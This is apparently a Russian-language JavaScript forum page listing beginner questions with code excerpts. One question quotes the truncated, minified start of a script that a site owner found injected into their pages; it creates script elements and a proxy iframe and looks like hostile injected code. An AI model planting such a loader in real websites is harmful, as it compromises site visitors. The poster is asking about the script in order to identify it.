JavaScript
A programming language that conforms to the ECMAScript specification
Explore Questions
There are no popular questions to show right now
-
0 votes1 answer
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes0 answers
4,723 questions in this forum
-
Js отображение на
Помогите пожалуйста по следующему вопросу. У меня анимация неба на .js и к примеру на телефоне и маленьком ноутбуке очень криво отображается. На большом мониторе отображается как надо. Что можно сделать в данном случае?
0 votes3 answers -
"Отвязать" файл от input
Добрый день. Подскажите пожалуйста по такому моменту: загружаю ajax'ом файл на сервер, при успешной загрузке сразу отображается картинка. Как после этого "отвязать" файл от input? (на скриншоте 5.jpg) http://prntscr.com/dnws04 Вот фунция - обработчик let self = this; var data = new FormData(); let file = document.getElementById('avatar'); data.append('file', file.files[0]); data.append('id', this.user.id); if( file.files.length ) { axios.post('/api/upload/avatar', data ) .then(function (res) { self.user…
0 votes1 answer -
Непонятная ошибка валидации
Всем привет, есть такая bootstrap-либа валидации https://reactiveraven.github.io/jqBootstrapValidation/ И она используется в темплейте https://blackrockdigital.github.io/startbootstrap-modern-business/contact.html Я внедряю этот темплейт но у совсем другая ошибка валидации ref Код страницы ниже и это непонятно сообщение в независимости от есть ли вызов $("input,textarea,select").jqBootstrapValidation или закоментирован Что вызывает это сообщение и как его убрать ? <!DOCTYPE html> <html lang="en"> <head> <!-- Bootstrap --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge…
0 votes0 answers -
На почту не приходят письма с заявками отправленные через лендинг
Всем привет, не могу разобраться почему на почту с лендинга не приходят заявки. Есть файл script.js в нём есть такая часть содержимого. function clearForm () { $(this).removeClass('valid-for-file-upload'); $('input:not(":checkbox"), textarea, select').val(''); $('.form-group').removeClass('has-success').removeClass('has-error'); formtype = ''; }; $thisText = $(this).text(); $thisBtn.addClass('disabled').text('Отправка...') $.ajax({ //отправляем аяксом url:'php/mail.php', type:'POST', data:'jsonData=' + $.to…
0 votes27 answers -
Функция в Internet Explorer
В чем отличие записи функции в Internet Explorer и других браузерах?
0 votes5 answers -
Диалоговые панели
В четырех списках панели находятся фамилии, имена и отчества сотрудников и номера их телефонов. Для выбора всех данных сотрудника достаточно указать в одном из списков. В случае повторения данных в этом списке(например, фамилий) выбрать всех сотрудников с такой фамилией. После закрытия панели в заголовке окна отобразить выбранные данные. Срочно нужно сделать. Заранее благодарю.
0 votes0 answers -
Функция в JavaScript
Данный документ меняет цвета ячеек по клику на таблицу. Необходимо изменить функцию так, чтобы цвета менялись через промежуток времени и бесконечно. Очень нужно. Срочно.. <html> <head> <meta http-equiv="Content-Script-Type" content="text/JavaScript; charset=windows-1251" /> <script> function ChangeColor(BlueTable) { var TableId = document.all[IdName].style; TableId = document.all['Test'].style; TableId.backgroundColor = 'DarkGreen'; TableId = document.all['Test1'].style; TableId.backgroundColor = 'Limegreen'; TableId = document.all['Test3'].style; TableId.b…
0 votes4 answers -
таймер для вызова функции
Документ представляет собой таблицу с уже записанными оттенками фона ячеек. В функции записана смена этих оттенков на другие по клику на таблицу. Нужно переделать так, чтобы функция смены цвета вызывалась через какой-то интервал времени
0 votes9 answers -
Почему выполняется условие else, если выполнилось условие if?
При вводе буквы, которое есть в переменной word, по идеи, если такой буквы нету, то должно выдать сообщение, то, что **Такой буквы нету**. Но это сообщение почему-то выводится даже тогда, если эта буква есть, почему? Если убрать последнее условие, то нормально работает https://jsfiddle.net/xqqbyexb/ var word = 'программа'; var answerArray = []; for (var i = 0; i < word.length; i++) { answerArray[i] = "_"; } var remainingLetters = word.length; while (remainingLetters > 0 ) { alert(answerArray.join(" ")); var guess = prompt("Угадайте букву, или нажмите Отмена для выхода из игры."); if (guess === null) { // Выходим из игрового ц…
0 votes3 answers -
Включение скролинга в виджете вк по клику
Добрый день , нуждаюсь в вашей помощи , есть следующий виджет вк <div id="vk_groups"> <script type="text/javascript" src="//vk.com/js/api/openapi.js?136"></script> <script type="text/javascript"> VK.Widgets.Group("vk_groups", {mode: 4, width: "300", height: "600"}, 121464391); </script> </div> он показывает новости группы , когда делаешь скролинг всей страницы на это виджете скролинг останавливается и далее выполняется скролинг новостей из группы. Так как планируется разместить этот виджет по всей ширине странице то это будет не удобно когда скролинг главной прерывается виджетом . Можно ли…
0 votes2 answers -
Отправка данных на форму через jsonp
Есть гугловская форма,на которую отправляются данные из скрипта. $.ajax({ type: "post", dataType: "jsonp", url: "https://docs.google.com/forms/path_to_form", headers: { 'Access-Control-Allow-Origin': first_name+' '+last_name }, contentType: "application/x-www-form-urlencoded;charset=utf-8", cache: false, data: { "entry.820618923": first_name, "entry.843117187": last_name, "entry.730836512": email, "entry.185059685": phone, "entry.2052825465": service_type }, complete: function(object) { form[0].reset(); $("#service_type").val($("#service_type option:first").val()); $("#modal-form").fadeOut('fast'); …
0 votes5 answers -
Смена потока видео через Javascript
Всем привет! Надеюсь на вашу помощь. так как я в javascript новичок и стал его только изучать. Есть трансляция с камеры через плагин vlc в html. <param name="Src" value="rtsp://admin:psw@192.168.0.20:554/live2.sdp"/> <embed id="vlcEmb" type="application/x-google-vlc-plugin" version="VideoLAN.VLCPlugin.2.2.4" autoplay="yes" loop="no" controls="no" volume="0" width=24% height=auto target="rtsp://admin:psw@192.168.0.20:554/live2.sdp" ></embed> Как написать скрипт, чтобы в полноэкранном режиме шел поток live1, а в обычном live1? я уже пытался и так <script> if (vlc.video.fullscreen) { var…
0 votes0 answers -
Предупреждение от Node при запуске gulp
DeprecationWarning: os.tmpDir() is deprecated. Use os.tmpdir() instead. Что делать с данным предупреждением, игнорировать, или же можно как либо устранить? Гуглила, но к сожалению, ничего похожего на русском языке не нашла
0 votes14 answers -
Почему не работает геолокация
Всё же правильно написал navigator.geolocation.getCurrentPosition( function(position) { alert('Последний раз вас засекали здесь: ' + position.coords.latitude + ", " + position.coords.longitude); } ); не работает ни в каких браузерах
0 votes1 answer -
Как исправить корректную работу toggle кнопки меню
Всем привет. Верстаю сайт интернет магазина. Вот ссылка. Сайт адаптивный. В сайте кроме 2 меню есть еще и фильтр-конфигуратор слева. На мобильном версии, этот конфиг панель скрывается полностью и открывается с помощью кнопки с иконкой шестеренки. При нажатии на эту кнопку на блок добавляется класс .show который открывает этот панель в не раскрытом положении и далее автоматически открывается с событием .trigger(). Проблема заключается в том, Сейчас при нажатии на эту кнопку конфиг панель открывается, но при повторном нажатии ведет себя как на десктопе. То есть, полностью не исчезает. Никак не могу программировать так чтобы при нажатии на главную кнопки конфигуратора, этот …
0 votes0 answers -
webpack && compass
Кто нибудь использует ? Тщетно пытаюсь настроить уже не первый день. Нашёл вроде как верное решение для запуска компаса, но на импорте картинок ловлю ошибку, никакие варианты путей не работают. Ссылка на файлы https://github.com/Andrey7287/new-webpack
0 votes0 answers -
Сортировка элементов разных массивов
Есть массив, в котором массивы. Как их отсортировать, что бы после сортировки, они выводились по убыванию возраста? Сейчас такой вид var arr = [ ['26', 'firstname1', 'lastname1'], ['14', 'firstname2', 'lastname2'], ['22', 'firstname3', 'lastname3'], ['23', 'firstname4', 'lastname4'], ['20', 'firstname5', 'lastname5'] ] А как сделать такой? var arr = [ ['26', 'firstname1', 'lastname1'], ['23', 'firstname4', 'lastname4'], ['22', 'firstname3', 'lastname3'], ['20', 'firstname5', 'lastname5'], ['14', 'firstname2', 'lastname2'] ]
0 votes4 answers -
Поиск элементов на странице
Почему, если данные в массив userData, подгружать через контакт, и потом создать список ul , из этих данных и если попробовать перебрать элементы с классом .igrost , которые находятся в блоке muz, то ничего не найдёт? http://plnkr.co/edit/5hH9iEYjQ29oB6XUDYlo?p=preview Я попробовал облегчить код, сделал его без контакта и теперь он находит элементы, а с контактом не находит, почему? https://jsfiddle.net/049x0eeL/
0 votes1 answer -
JQuery. Как перетащить текст из одного списка в другой?
Всем привет! Есть "block2", в котором есть список из блоков с текстом. Этот текст нужно перетащить в соответствующие блоки в "block1". Т.е. текст из первой строки нужно вставить в первую строку другого блока, вторую - во вторую и т.д. Нужно забирать именно текст без перестраивания и копирования структуры. Во вложении накидал картинку)
0 votes2 answers -
Неизвестный скрипт
Добрый день! Сегодня заметил непонятно откуда взявшийся скрипт <script src="/vgttkru/t_filter.js" async="" type="text/javascript"></script> Он прописывается автоматически на создаваемых или редактируемых страницах сайта. Открывается по ссылке http://moskwa.rpk-service.su/vgttkru/t_filter.js Внутри код: (function(){function g(a,b){var c=a.createElement("script");c.type="text/javascript";c.async=!0;c.src="/vgttkru/t_filter.js";b&&(c.src+="?"+b);a.body.appendChild(c)}function m(a){return"/vgttkru/filter_proxy_iframe.html?q="+a+"/d"+location.hostname}function n(a){try{var b=document.getElementById("vegetatika-frame")||document.createElement("I…
0 votes1 answer -
Динамическое создание кук
Почему у куки не создаётся срок годности? В таблицу добавляется, но в Cookies не добавляется? Добавляю куки на 114 строке http://plnkr.co/edit/X0tbjoV71YtFrxMDF5XV?p=preview Я не знаю, как это правильно написать, уже всё перепробовал document.cookie = newTd.innerHTML + '=' + newTd2.innerHTML +'; expires' + newTd4.innerHTML
0 votes1 answer -
Скрипт инкремента
Всем привет! Есть скрипт инкремента числа : http://jsfiddle.net/f48ZD/537/ .Как сделать так, чтобы он срабатывал один раз при первой прокрутке?
0 votes0 answers -
Как задать поведение для каждого элемента?
Собственно, есть вот такой блок(картинка внизу). При нажатии на пункт, он должен разворачиваться. Открытым может быть только один пункт. Но у меня пока другая проблема, я никак не могу понять, как мне задать обработчик для каждого пункта по отдельности. Например, когда я нажимаю на первый элемент, то открываться должен только он, у меня получается, что открываются все. Вот то, что я наваял на JS. Прошу сильно не пинать, это только 2й макет). <div class="work-type"> <div class="work-item"> <span>Photography</span> <i class="fa fa-angle-down" aria-hidden="true"></i> </div> <p class="desc">Lorem</p> …
0 votes4 answers -
Что вы думаете насчёт vuejs?
Здравствуйте. Не холивара ради. На днях наткнулся на такую штуку, как vuejs. Сделал пару простых приложений. Вроде штука удобная, думаю использовать как альтернативу jq. У кого нибудь уже есть опыт работы с этой либой? Как впечатления?
0 votes0 answers -
Функции JavaScript + innerHtml
начал изучать сей язык, столкнулся с проблемой: <!doctype html> <html> <head> <meta charset="utf-8"> <title>Документ без названия</title> <script language="javascript" type="text/javascript"> function check() { var number=document.getElementById("cifra").value; switch (number) { case '1' : alert('Кукареку'); document.getElementById('vvod').innerHTML = 'Пользователь ввел 1.' break; } } </script> <style> p { color: red; font-size: 18px; text-decoration: underline; } </style> </head> <body> <font> <form> Введите число от 1 до 10: <input type="text" name="nu…
0 votes2 answers